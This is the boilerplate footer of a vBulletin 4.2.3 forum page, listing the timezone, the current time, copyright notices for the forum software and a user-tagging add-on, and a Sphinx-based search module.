All times are GMT -5. The time now is 09:48 AM. Powered by vBulletin® Version 4.2.3
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2024 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search